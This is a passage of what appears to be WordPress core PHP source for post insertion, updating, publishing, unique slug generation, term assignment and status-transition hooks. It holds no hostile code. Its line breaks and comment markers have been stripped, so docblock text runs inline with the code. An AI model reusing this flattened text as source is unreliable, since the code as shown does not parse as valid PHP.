* Previously, these variables would have already been extracted if ( isset( $postarr['menu_order'] ) ) { $menu_order = (int) $postarr['menu_order']; } else { $menu_order = 0; } $post_password = isset( $postarr['post_password'] ) ? $postarr['post_password'] : ''; if ( 'private' === $post_status ) { $post_password = ''; } if ( isset( $postarr['post_parent'] ) ) { $post_parent = (int) $postarr['post_parent']; } else { $post_parent = 0; } $new_postarr = array_merge( array( 'ID' => $post_id, ), compact( array_diff( array_keys( $defaults ), array( 'context', 'filter' ) ) ) ); * * Filters the post parent -- used to check for and prevent hierarchy loops. * * @since 3.1.0 * * @param int $post_parent Post parent ID. * @param int $post_id Post ID. * @param array $new_postarr Array of parsed post data. * @param array $postarr Array of sanitized, but otherwise unmodified post data. $post_parent = apply_filters( 'wp_insert_post_parent', $post_parent, $post_id, $new_postarr, $postarr ); * If the post is being untrashed and it has a desired slug stored in post meta, * reassign it. if ( 'trash' === $previous_status && 'trash' !== $post_status ) { $desired_post_slug = get_post_meta( $post_id, '_wp_desired_post_slug', true ); if ( $desired_post_slug ) { delete_post_meta( $post_id, '_wp_desired_post_slug' ); $post_name = $desired_post_slug; } } If a trashed post has the desired slug, change it and let this post have it. if ( 'trash' !== $post_status && $post_name ) { * * Filters whether or not to add a `__trashed` suffix to trashed posts that match the name of the updated post. * * @since 5.4.0 * * @param bool $add_trashed_suffix Whether to attempt to add the suffix. * @param string $post_name The name of the post being updated. * @param int $post_id Post ID. $add_trashed_suffix = apply_filters( 'add_trashed_suffix_to_trashed_posts', true, $post_name, $post_id ); if ( $add_trashed_suffix ) { wp_add_trashed_suffix_to_post_name_for_trashed_posts( $post_name, $post_id ); } } When trashing an existing post, change its slug to allow non-trashed posts to use it. if ( 'trash' === $post_status && 'trash' !== $previous_status && 'new' !== $previous_status ) { $post_name = wp_add_trashed_suffix_to_post_name_for_post( $post_id ); } $post_name = wp_unique_post_slug( $post_name, $post_id, $post_status, $post_type, $post_parent ); Don't unslash. $post_mime_type = isset( $postarr['post_mime_type'] ) ? $postarr['post_mime_type'] : ''; Expected_slashed (everything!). $data = compact( 'post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_content_filtered', 'post_title', 'post_excerpt', 'post_status', 'post_type', 'comment_status', 'ping_status', 'post_password', 'post_name', 'to_ping', 'pinged', 'post_modified', 'post_modified_gmt', 'post_parent', 'menu_order', 'post_mime_type', 'guid' ); $emoji_fields = array( 'post_title', 'post_content', 'post_excerpt' ); foreach ( $emoji_fields as $emoji_field ) { if ( isset( $data[ $emoji_field ] ) ) { $charset = $wpdb->get_col_charset( $wpdb->posts, $emoji_field ); if ( 'utf8' === $charset ) { $data[ $emoji_field ] = wp_encode_emoji( $data[ $emoji_field ] ); } } } if ( 'attachment' === $post_type ) { * * Filters attachment post data before it is updated in or added to the database. * * @since 3.9.0 * @since 5.4.1 The `$unsanitized_postarr` parameter was added. * @since 6.0.0 The `$update` parameter was added. * * @param array $data An array of slashed, sanitized, and processed attachment post data. * @param array $postarr An array of slashed and sanitized attachment post data, but not processed. * @param array $unsanitized_postarr An array of slashed yet *unsanitized* and unprocessed attachment post data * as originally passed to wp_insert_post(). * @param bool $update Whether this is an existing attachment post being updated. $data = apply_filters( 'wp_insert_attachment_data', $data, $postarr, $unsanitized_postarr, $update ); } else { * * Filters slashed post data just before it is inserted into the database. * * @since 2.7.0 * @since 5.4.1 The `$unsanitized_postarr` parameter was added. * @since 6.0.0 The `$update` parameter was added. * * @param array $data An array of slashed, sanitized, and processed post data. * @param array $postarr An array of sanitized (and slashed) but otherwise unmodified post data. * @param array $unsanitized_postarr An array of slashed yet *unsanitized* and unprocessed post data as * originally passed to wp_insert_post(). * @param bool $update Whether this is an existing post being updated. $data = apply_filters( 'wp_insert_post_data', $data, $postarr, $unsanitized_postarr, $update ); } $data = wp_unslash( $data ); $where = array( 'ID' => $post_id ); if ( $update ) { * * Fires immediately before an existing post is updated in the database. * * @since 2.5.0 * * @param int $post_id Post ID. * @param array $data Array of unslashed post data. do_action( 'pre_post_update', $post_id, $data ); if ( false === $wpdb->update( $wpdb->posts, $data, $where ) ) { if ( $wp_error ) { if ( 'attachment' === $post_type ) { $message = __( 'Could not update attachment in the database.' ); } else { $message = __( 'Could not update post in the database.' ); } return new WP_Error( 'db_update_error', $message, $wpdb->last_error ); } else { return 0; } } } else { If there is a suggested ID, use it if not already present. if ( ! empty( $import_id ) ) { $import_id = (int) $import_id; if ( ! $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE ID = %d", $import_id ) ) ) { $data['ID'] = $import_id; } } if ( false === $wpdb->insert( $wpdb->posts, $data ) ) { if ( $wp_error ) { if ( 'attachment' === $post_type ) { $message = __( 'Could not insert attachment into the database.' ); } else { $message = __( 'Could not insert post into the database.' ); } return new WP_Error( 'db_insert_error', $message, $wpdb->last_error ); } else { return 0; } } $post_id = (int) $wpdb->insert_id; Use the newly generated $post_id. $where = array( 'ID' => $post_id ); } if ( empty( $data['post_name'] ) && ! in_array( $data['post_status'], array( 'draft', 'pending', 'auto-draft' ), true ) ) { $data['post_name'] = wp_unique_post_slug( sanitize_title( $data['post_title'], $post_id ), $post_id, $data['post_status'], $post_type, $post_parent ); $wpdb->update( $wpdb->posts, array( 'post_name' => $data['post_name'] ), $where ); clean_post_cache( $post_id ); } if ( is_object_in_taxonomy( $post_type, 'category' ) ) { wp_set_post_categories( $post_id, $post_category ); } if ( isset( $postarr['tags_input'] ) && is_object_in_taxonomy( $post_type, 'post_tag' ) ) { wp_set_post_tags( $post_id, $postarr['tags_input'] ); } Add default term for all associated custom taxonomies. if ( 'auto-draft' !== $post_status ) { foreach ( get_object_taxonomies( $post_type, 'object' ) as $taxonomy => $tax_object ) { if ( ! empty( $tax_object->default_term ) ) { Filter out empty terms. if ( isset( $postarr['tax_input'][ $taxonomy ] ) && is_array( $postarr['tax_input'][ $taxonomy ] ) ) { $postarr['tax_input'][ $taxonomy ] = array_filter( $postarr['tax_input'][ $taxonomy ] ); } Passed custom taxonomy list overwrites the existing list if not empty. $terms = wp_get_object_terms( $post_id, $taxonomy, array( 'fields' => 'ids' ) ); if ( ! empty( $terms ) && empty( $postarr['tax_input'][ $taxonomy ] ) ) { $postarr['tax_input'][ $taxonomy ] = $terms; } if ( empty( $postarr['tax_input'][ $taxonomy ] ) ) { $default_term_id = get_option( 'default_term_' . $taxonomy ); if ( ! empty( $default_term_id ) ) { $postarr['tax_input'][ $taxonomy ] = array( (int) $default_term_id ); } } } } } New-style support for all custom taxonomies. if ( ! empty( $postarr['tax_input'] ) ) { foreach ( $postarr['tax_input'] as $taxonomy => $tags ) { $taxonomy_obj = get_taxonomy( $taxonomy ); if ( ! $taxonomy_obj ) { translators: %s: Taxonomy name. _doing_it_wrong( __FUNCTION__, sprintf( __( 'Invalid taxonomy: %s.' ), $taxonomy ), '4.4.0' ); continue; } array = hierarchical, string = non-hierarchical. if ( is_array( $tags ) ) { $tags = array_filter( $tags ); } if ( current_user_can( $taxonomy_obj->cap->assign_terms ) ) { wp_set_post_terms( $post_id, $tags, $taxonomy ); } } } if ( ! empty( $postarr['meta_input'] ) ) { foreach ( $postarr['meta_input'] as $field => $value ) { update_post_meta( $post_id, $field, $value ); } } $current_guid = get_post_field( 'guid', $post_id ); Set GUID. if ( ! $update && '' === $current_guid ) { $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post_id ) ), $where ); } if ( 'attachment' === $postarr['post_type'] ) { if ( ! empty( $postarr['file'] ) ) { update_attached_file( $post_id, $postarr['file'] ); } if ( ! empty( $postarr['context'] ) ) { add_post_meta( $post_id, '_wp_attachment_context', $postarr['context'], true ); } } Set or remove featured image. if ( isset( $postarr['_thumbnail_id'] ) ) { $thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' ) || 'revision' === $post_type; if ( ! $thumbnail_support && 'attachment' === $post_type && $post_mime_type ) { if ( wp_attachment_is( 'audio', $post_id ) ) { $thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' ); } elseif ( wp_attachment_is( 'video', $post_id ) ) { $thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' ); } } if ( $thumbnail_support ) { $thumbnail_id = (int) $postarr['_thumbnail_id']; if ( -1 === $thumbnail_id ) { delete_post_thumbnail( $post_id ); } else { set_post_thumbnail( $post_id, $thumbnail_id ); } } } clean_post_cache( $post_id ); $post = get_post( $post_id ); if ( ! empty( $postarr['page_template'] ) ) { $post->page_template = $postarr['page_template']; $page_templates = wp_get_theme()->get_page_templates( $post ); if ( 'default' !== $postarr['page_template'] && ! isset( $page_templates[ $postarr['page_template'] ] ) ) { if ( $wp_error ) { return new WP_Error( 'invalid_page_template', __( 'Invalid page template.' ) ); } update_post_meta( $post_id, '_wp_page_template', 'default' ); } else { update_post_meta( $post_id, '_wp_page_template', $postarr['page_template'] ); } } if ( 'attachment' !== $postarr['post_type'] ) { wp_transition_post_status( $data['post_status'], $previous_status, $post ); } else { if ( $update ) { * * Fires once an existing attachment has been updated. * * @since 2.0.0 * * @param int $post_id Attachment ID. do_action( 'edit_attachment', $post_id ); $post_after = get_post( $post_id ); * * Fires once an existing attachment has been updated. * * @since 4.4.0 * * @param int $post_id Post ID. * @param WP_Post $post_after Post object following the update. * @param WP_Post $post_before Post object before the update. do_action( 'attachment_updated', $post_id, $post_after, $post_before ); } else { * * Fires once an attachment has been added. * * @since 2.0.0 * * @param int $post_id Attachment ID. do_action( 'add_attachment', $post_id ); } return $post_id; } if ( $update ) { * * Fires once an existing post has been updated. * * The dynamic portion of the hook name, `$post->post_type`, refers to * the post type slug. * * Possible hook names include: * * - `edit_post_post` * - `edit_post_page` * * @since 5.1.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. do_action( "edit_post_{$post->post_type}", $post_id, $post ); * * Fires once an existing post has been updated. * * @since 1.2.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. do_action( 'edit_post', $post_id, $post ); $post_after = get_post( $post_id ); * * Fires once an existing post has been updated. * * @since 3.0.0 * * @param int $post_id Post ID. * @param WP_Post $post_after Post object following the update. * @param WP_Post $post_before Post object before the update. do_action( 'post_updated', $post_id, $post_after, $post_before ); } * * Fires once a post has been saved. * * The dynamic portion of the hook name, `$post->post_type`, refers to * the post type slug. * * Possible hook names include: * * - `save_post_post` * - `save_post_page` * * @since 3.7.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. do_action( "save_post_{$post->post_type}", $post_id, $post, $update ); * * Fires once a post has been saved. * * @since 1.5.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. do_action( 'save_post', $post_id, $post, $update ); * * Fires once a post has been saved. * * @since 2.0.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. do_action( 'wp_insert_post', $post_id, $post, $update ); if ( $fire_after_hooks ) { wp_after_insert_post( $post, $update, $post_before ); } return $post_id; } * * Updates a post with new post data. * * The date does not have to be set for drafts. You can set the date and it will * not be overridden. * * @since 1.0.0 * @since 3.5.0 Added the `$wp_error` parameter to allow a WP_Error to be returned on failure. * @since 5.6.0 Added the `$fire_after_hooks` parameter. * * @param array|object $postarr Optional. Post data. Arrays are expected to be escaped, * objects are not. See wp_insert_post() for accepted arguments. * Default array. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @param bool $fire_after_hooks Optional. Whether to fire the after insert hooks. Default true. * @return int|WP_Error The post ID on success. The value 0 or WP_Error on failure. function wp_update_post( $postarr = array(), $wp_error = false, $fire_after_hooks = true ) { if ( is_object( $postarr ) ) { Non-escaped post was passed. $postarr = get_object_vars( $postarr ); $postarr = wp_slash( $postarr ); } First, get all of the original fields. $post = get_post( $postarr['ID'], ARRAY_A ); if ( is_null( $post ) ) { if ( $wp_error ) { return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) ); } return 0; } Escape data pulled from DB. $post = wp_slash( $post ); Passed post category list overwrites existing category list if not empty. if ( isset( $postarr['post_category'] ) && is_array( $postarr['post_category'] ) && count( $postarr['post_category'] ) > 0 ) { $post_cats = $postarr['post_category']; } else { $post_cats = $post['post_category']; } Drafts shouldn't be assigned a date unless explicitly done so by the user. if ( isset( $post['post_status'] ) && in_array( $post['post_status'], array( 'draft', 'pending', 'auto-draft' ), true ) && empty( $postarr['edit_date'] ) && ( '0000-00-00 00:00:00' === $post['post_date_gmt'] ) ) { $clear_date = true; } else { $clear_date = false; } Merge old and new fields with new fields overwriting old ones. $postarr = array_merge( $post, $postarr ); $postarr['post_category'] = $post_cats; if ( $clear_date ) { $postarr['post_date'] = current_time( 'mysql' ); $postarr['post_date_gmt'] = ''; } if ( 'attachment' === $postarr['post_type'] ) { return wp_insert_attachment( $postarr, false, 0, $wp_error ); } Discard 'tags_input' parameter if it's the same as existing post tags. if ( isset( $postarr['tags_input'] ) && is_object_in_taxonomy( $postarr['post_type'], 'post_tag' ) ) { $tags = get_the_terms( $postarr['ID'], 'post_tag' ); $tag_names = array(); if ( $tags && ! is_wp_error( $tags ) ) { $tag_names = wp_list_pluck( $tags, 'name' ); } if ( $postarr['tags_input'] === $tag_names ) { unset( $postarr['tags_input'] ); } } return wp_insert_post( $postarr, $wp_error, $fire_after_hooks ); } * * Publishes a post by transitioning the post status. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post $post Post ID or post object. function wp_publish_post( $post ) { global $wpdb; $post = get_post( $post ); if ( ! $post ) { return; } if ( 'publish' === $post->post_status ) { return; } $post_before = get_post( $post->ID ); Ensure at least one term is applied for taxonomies with a default term. foreach ( get_object_taxonomies( $post->post_type, 'object' ) as $taxonomy => $tax_object ) { Skip taxonomy if no default term is set. if ( 'category' !== $taxonomy && empty( $tax_object->default_term ) ) { continue; } Do not modify previously set terms. if ( ! empty( get_the_terms( $post, $taxonomy ) ) ) { continue; } if ( 'category' === $taxonomy ) { $default_term_id = (int) get_option( 'default_category', 0 ); } else { $default_term_id = (int) get_option( 'default_term_' . $taxonomy, 0 ); } if ( ! $default_term_id ) { continue; } wp_set_post_terms( $post->ID, array( $default_term_id ), $taxonomy ); } $wpdb->update( $wpdb->posts, array( 'post_status' => 'publish' ), array( 'ID' => $post->ID ) ); clean_post_cache( $post->ID ); $old_status = $post->post_status; $post->post_status = 'publish'; wp_transition_post_status( 'publish', $old_status, $post ); * This action is documented in wp-includes/post.php do_action( "edit_post_{$post->post_type}", $post->ID, $post ); * This action is documented in wp-includes/post.php do_action( 'edit_post', $post->ID, $post ); * This action is documented in wp-includes/post.php do_action( "save_post_{$post->post_type}", $post->ID, $post, true ); * This action is documented in wp-includes/post.php do_action( 'save_post', $post->ID, $post, true ); * This action is documented in wp-includes/post.php do_action( 'wp_insert_post', $post->ID, $post, true ); wp_after_insert_post( $post, true, $post_before ); } * * Publishes future post and make sure post ID has future post status. * * Invoked by cron 'publish_future_post' event. This safeguard prevents cron * from publishing drafts, etc. * * @since 2.5.0 * * @param int|WP_Post $post Post ID or post object. function check_and_publish_future_post( $post ) { $post = get_post( $post ); if ( ! $post ) { return; } if ( 'future' !== $post->post_status ) { return; } $time = strtotime( $post->post_date_gmt . ' GMT' ); Uh oh, someone jumped the gun! if ( $time > time() ) { wp_clear_scheduled_hook( 'publish_future_post', array( $post->ID ) ); Clear anything else in the system. wp_schedule_single_event( $time, 'publish_future_post', array( $post->ID ) ); return; } wp_publish_post() returns no meaningful value. wp_publish_post( $post->ID ); } * * Uses wp_checkdate to return a valid Gregorian-calendar value for post_date. * If post_date is not provided, this first checks post_date_gmt if provided, * then falls back to use the current time. * * For back-compat purposes in wp_insert_post, an empty post_date and an invalid * post_date_gmt will continue to return '1970-01-01 00:00:00' rather than false. * * @since 5.7.0 * * @param string $post_date The date in mysql format (`Y-m-d H:i:s`). * @param string $post_date_gmt The GMT date in mysql format (`Y-m-d H:i:s`). * @return string|false A valid Gregorian-calendar date string, or false on failure. function wp_resolve_post_date( $post_date = '', $post_date_gmt = '' ) { If the date is empty, set the date to now. if ( empty( $post_date ) || '0000-00-00 00:00:00' === $post_date ) { if ( empty( $post_date_gmt ) || '0000-00-00 00:00:00' === $post_date_gmt ) { $post_date = current_time( 'mysql' ); } else { $post_date = get_date_from_gmt( $post_date_gmt ); } } Validate the date. $month = (int) substr( $post_date, 5, 2 ); $day = (int) substr( $post_date, 8, 2 ); $year = (int) substr( $post_date, 0, 4 ); $valid_date = wp_checkdate( $month, $day, $year, $post_date ); if ( ! $valid_date ) { return false; } return $post_date; } * * Computes a unique slug for the post, when given the desired slug and some post details. * * @since 2.8.0 * * @global wpdb $wpdb WordPress database abstraction object. * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $slug The desired slug (post_name). * @param int $post_id Post ID. * @param string $post_status No uniqueness checks are made if the post is still draft or pending. * @param string $post_type Post type. * @param int $post_parent Post parent ID. * @return string Unique slug for the post, based on $post_name (with a -1, -2, etc. suffix) function wp_unique_post_slug( $slug, $post_id, $post_status, $post_type, $post_parent ) { if ( in_array( $post_status, array( 'draft', 'pending', 'auto-draft' ), true ) || ( 'inherit' === $post_status && 'revision' === $post_type ) || 'user_request' === $post_type ) { return $slug; } * * Filters the post slug before it is generated to be unique. * * Returning a non-null value will short-circuit the * unique slug generation, returning the passed value instead. * * @since 5.1.0 * * @param string|null $override_slug Short-circuit return value. * @param string $slug The desired slug (post_name). * @param int $post_id Post ID. * @param string $post_status The post status. * @param string $post_type Post type. * @param int $post_parent Post parent ID. $override_slug = apply_filters( 'pre_wp_unique_post_slug', null, $slug, $post_id, $post_status, $post_type, $post_parent ); if ( null !== $override_slug ) { return $override_slug; } global $wpdb, $wp_rewrite; $original_slug = $slug; $feeds = $wp_rewrite->feeds; if ( ! is_array( $feeds ) ) { $feeds = array(); } if ( 'attachment' === $post_type ) { Attachment slugs must be unique across all types. $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND ID != %d LIMIT 1"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_id ) ); * * Filters whether the post slug would make a bad attachment slug. * * @since 3.1.0 * * @param bool $bad_slug Whether the slug would be bad as an attachment slug. * @param string $slug The post slug. $is_bad_attachment_slug = apply_filters( 'wp_unique_post_slug_is_bad_attachment_slug', false, $slug ); if ( $post_name_check || in_array( $slug, $feeds, true ) || 'embed' === $slug || $is_bad_attachment_slug ) { $suffix = 2; do { $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_id ) ); ++$suffix; } while ( $post_name_check ); $slug = $alt_post_name; } } elseif ( is_post_type_hierarchical( $post_type ) ) { if ( 'nav_menu_item' === $post_type ) { return $slug; } * Page slugs must be unique within their own trees. Pages are in a separate * namespace than posts so page slugs are allowed to overlap post slugs. $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type IN ( %s, 'attachment' ) AND ID != %d AND post_parent = %d LIMIT 1"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_id, $post_parent ) ); * * Filters whether the post slug would make a bad hierarchical post slug. * * @since 3.1.0 * * @param bool $bad_slug Whether the post slug would be bad in a hierarchical post context. * @param string $slug The post slug. * @param string $post_type Post type. * @param int $post_parent Post parent ID. $is_bad_hierarchical_slug = apply_filters( 'wp_unique_post_slug_is_bad_hierarchical_slug', false, $slug, $post_type, $post_parent ); if ( $post_name_check || in_array( $slug, $feeds, true ) || 'embed' === $slug || preg_match( "@^($wp_rewrite->pagination_base)?\d+$@", $slug ) || $is_bad_hierarchical_slug ) { $suffix = 2; do { $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_id, $post_parent ) ); ++$suffix; } while ( $post_name_check ); $slug = $alt_post_name; } } else { Post slugs must be unique across all posts. $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type = %s AND ID != %d LIMIT 1"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $slug, $post_type, $post_id ) ); $post = get_post( $post_id ); Prevent new post slugs that could result in URLs that conflict with date archives. $conflicts_with_date_archive = false; if ( 'post' === $post_type && ( ! $post || $post->post_name !== $slug ) && preg_match( '/^[0-9]+$/', $slug ) ) { $slug_num = (int) $slug; if ( $slug_num ) { $permastructs = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) ); $postname_index = array_search( '%postname%', $permastructs, true ); * Potential date clashes are as follows: * * - Any integer in the first permastruct position could be a year. * - An integer between 1 and 12 that follows 'year' conflicts with 'monthnum'. * - An integer between 1 and 31 that follows 'monthnum' conflicts with 'day'. if ( 0 === $postname_index || ( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && 13 > $slug_num ) || ( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && 32 > $slug_num ) ) { $conflicts_with_date_archive = true; } } } * * Filters whether the post slug would be bad as a flat slug. * * @since 3.1.0 * * @param bool $bad_slug Whether the post slug would be bad as a flat slug. * @param string $slug The post slug. * @param string $post_type Post type. $is_bad_flat_slug = apply_filters( 'wp_unique_post_slug_is_bad_flat_slug', false, $slug, $post_type ); if ( $post_name_check || in_array( $slug, $feeds, true ) || 'embed' === $slug || $conflicts_with_date_archive || $is_bad_flat_slug ) { $suffix = 2; do { $alt_post_name = _truncate_post_slug( $slug, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $alt_post_name, $post_type, $post_id ) ); ++$suffix; } while ( $post_name_check ); $slug = $alt_post_name; } } * * Filters the unique post slug. * * @since 3.3.0 * * @param string $slug The post slug. * @param int $post_id Post ID. * @param string $post_status The post status. * @param string $post_type Post type. * @param int $post_parent Post parent ID * @param string $original_slug The original post slug. return apply_filters( 'wp_unique_post_slug', $slug, $post_id, $post_status, $post_type, $post_parent, $original_slug ); } * * Truncates a post slug. * * @since 3.6.0 * @access private * * @see utf8_uri_encode() * * @param string $slug The slug to truncate. * @param int $length Optional. Max length of the slug. Default 200 (characters). * @return string The truncated slug. function _truncate_post_slug( $slug, $length = 200 ) { if ( strlen( $slug ) > $length ) { $decoded_slug = urldecode( $slug ); if ( $decoded_slug === $slug ) { $slug = substr( $slug, 0, $length ); } else { $slug = utf8_uri_encode( $decoded_slug, $length, true ); } } return rtrim( $slug, '-' ); } * * Adds tags to a post. * * @see wp_set_post_tags() * * @since 2.3.0 * * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post. * @param string|array $tags Optional. An array of tags to set for the post, or a string of tags * separated by commas. Default empty. * @return array|false|WP_Error Array of affected term IDs. WP_Error or false on failure. function wp_add_post_tags( $post_id = 0, $tags = '' ) { return wp_set_post_tags( $post_id, $tags, true ); } * * Sets the tags for a post. * * @since 2.3.0 * * @see wp_set_object_terms() * * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post. * @param string|array $tags Optional. An array of tags to set for the post, or a string of tags * separated by commas. Default empty. * @param bool $append Optional. If true, don't delete existing tags, just add on. If false, * replace the tags with the new tags. Default false. * @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure. function wp_set_post_tags( $post_id = 0, $tags = '', $append = false ) { return wp_set_post_terms( $post_id, $tags, 'post_tag', $append ); } * * Sets the terms for a post. * * @since 2.8.0 * * @see wp_set_object_terms() * * @param int $post_id Optional. The Post ID. Does not default to the ID of the global $post. * @param string|array $terms Optional. An array of terms to set for the post, or a string of terms * separated by commas. Hierarchical taxonomies must always pass IDs rather * than names so that children with the same names but different parents * aren't confused. Default empty. * @param string $taxonomy Optional. Taxonomy name. Default 'post_tag'. * @param bool $append Optional. If true, don't delete existing terms, just add on. If false, * replace the terms with the new terms. Default false. * @return array|false|WP_Error Array of term taxonomy IDs of affected terms. WP_Error or false on failure. function wp_set_post_terms( $post_id = 0, $terms = '', $taxonomy = 'post_tag', $append = false ) { $post_id = (int) $post_id; if ( ! $post_id ) { return false; } if ( empty( $terms ) ) { $terms = array(); } if ( ! is_array( $terms ) ) { $comma = _x( ',', 'tag delimiter' ); if ( ',' !== $comma ) { $terms = str_replace( $comma, ',', $terms ); } $terms = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) ); } * Hierarchical taxonomies must always pass IDs rather than names so that * children with the same names but different parents aren't confused. if ( is_taxonomy_hierarchical( $taxonomy ) ) { $terms = array_unique( array_map( 'intval', $terms ) ); } return wp_set_object_terms( $post_id, $terms, $taxonomy, $append ); } * * Sets categories for a post. * * If no categories are provided, the default category is used. * * @since 2.1.0 * * @param int $post_id Optional. The Post ID. Does not default to the ID * of the global $post. Default 0. * @param int[]|int $post_categories Optional. List of category IDs, or the ID of a single category. * Default empty array. * @param bool $append If true, don't delete existing categories, just add on. * If false, replace the categories with the new categories. * @return array|false|WP_Error Array of term taxonomy IDs of affected categories. WP_Error or false on failure. function wp_set_post_categories( $post_id = 0, $post_categories = array(), $append = false ) { $post_id = (int) $post_id; $post_type = get_post_type( $post_id ); $post_status = get_post_status( $post_id ); If $post_categories isn't already an array, make it one. $post_categories = (array) $post_categories; if ( empty( $post_categories ) ) { * * Filters post types (in addition to 'post') that require a default category. * * @since 5.5.0 * * @param string[] $post_types An array of post type names. Default empty array. $default_category_post_types = apply_filters( 'default_category_post_types', array() ); Regular posts always require a default category. $default_category_post_types = array_merge( $default_category_post_types, array( 'post' ) ); if ( in_array( $post_type, $default_category_post_types, true ) && is_object_in_taxonomy( $post_type, 'category' ) && 'auto-draft' !== $post_status ) { $post_categories = array( get_option( 'default_category' ) ); $append = false; } else { $post_categories = array(); } } elseif ( 1 === count( $post_categories ) && '' === reset( $post_categories ) ) { return true; } return wp_set_post_terms( $post_id, $post_categories, 'category', $append ); } * * Fires actions related to the transitioning of a post's status. * * When a post is saved, the post status is "transitioned" from one status to another, * though this does not always mean the status has actually changed before and after * the save. This function fires a number of action hooks related to that transition: * the generic {@see 'transition_post_status'} action, as well as the dynamic hooks * {@see '$old_status_to_$new_status'} and {@see '$new_status_$post->post_type'}. Note * that the function does not transition the post object in the database. * * For instance: When publishing a post for the first time, the post status may transition * from 'draft' – or some other status – to 'publish'. However, if a post is already * published and is simply being updated, the "old" and "new" statuses may both be 'publish' * before and after the transition. * * @since 2.3.0 * * @param string $new_status Transition to this post status. * @param string $old_status Previous post status. * @param WP_Post $post Post data. function wp_transition_post_status( $new_status, $old_status, $post ) { * * Fires when a post is transitioned from one status to another. * * @since 2.3.0 * * @param string $new_status New post status. * @param string $old_status Old post status. * @param WP_Post $post Post object. do_action( 'transition_post_status', $new_status, $old_status, $post ); * * Fires when a post is transitioned from one status to another. * * The dynamic portions of the hook name, `$new_status` and `$old_status`, * refer to the old and new post statuses, respectively. * * Possible hook names include: * * - `draft_to_publish` * - `publish_to_trash` * - `pending_to_draft` * * @since 2.3.0 * * @param WP_Post $post Post object. do_action( "{$old_status}_to_{$new_status}", $post ); * * Fires when a post is transitioned from one status to another. * * The dynamic portions of the hook name, `$new_status` and `$post->post_type`, * refer to the new post status and post type, respectively. * * Possible hook names include: * * - `draft_post` * - `future_post` * - `pending_post` * - `private_post` * - `publish_post` * - `trash_post` * - `draft_page` * - `future_page` * - `pending_page` * - `private_page` * - `publish_page` * - `trash_page` * - `publish_attachment` * - `trash_attachment` * * Please note: When this action is hooked using a particular post status (like * 'publish', as `publish_{$post->post_type}`), it will fire both when a post is * first transitioned to that status from something else, as well as upon * subsequent post updates (old and new status are both the same). * * Therefore, if you are looking to only fire a callback when a post is first * transitioned to a status, use the {@see 'transition_post_status'} hook instead. * * @since 2.3.0 * @since 5.9.0 Added `$old_status` parameter. * * @param int $post_id Post ID. * @param WP_Post $post Post object. * @param string $old_status Old post status. do_action( "{$new_status}_{$post->post_type}", $post->ID, $post, $old_status ); } * * Fires actions after a post, its terms and meta data has been saved. * * @since 5.6.0 * * @param int|WP_Post $post The post ID or object that has been saved. * @param bool $update Whether this is an existing post being updated. * @param null|WP_Post $post_before Null for new posts, the WP_Post object prior * to the update for updated posts. function wp_after_insert_post( $post, $update, $post_before ) { $post = get_post( $post ); if ( ! $post ) { return; } $post_id = $post->ID; * * Fires once a post, its terms and meta data has been saved. * * @since 5.6.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. * @param bool $update Whether this is an existing post being updated. * @param null|WP_Post $post_before Null for new posts, the WP_Post object prior * to the update for updated posts. do_action( 'wp_after_insert_post', $post_id, $post, $update, $post_before ); } Comment, trackback, and pingback functions. * * Adds a URL to those already pinged. * * @since 1.5.0 * @since 4.7.0 `$post` can be a WP_Post object. * @since 4.7.0 `$uri` can be an array of URIs. * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post $post Post ID or post object. * @param string|array $uri Ping URI or array of URIs. * @return int|false How many rows were updated. function add_ping( $post, $uri ) { global $wpdb; $post = get_post( $post ); if ( ! $post ) { return false; } $pung = trim( $post->pinged ); $pung = preg_split( '/\s/', $pung ); if ( is_array( $uri ) ) { $pung = array_merge( $pung, $uri ); } else { $pung[] = $uri; } $new = implode( "\n", $pung ); * * Filters the new ping URL to add for the given post. * * @since 2.0.0 * * @param string $new New ping URL to add. $new = apply_filters( 'add_ping', $new ); $return = $wpdb->update( $wpdb->posts, array( 'pinged' => $new ), array( 'ID' => $post->ID ) ); clean_post_cache( $post->ID ); 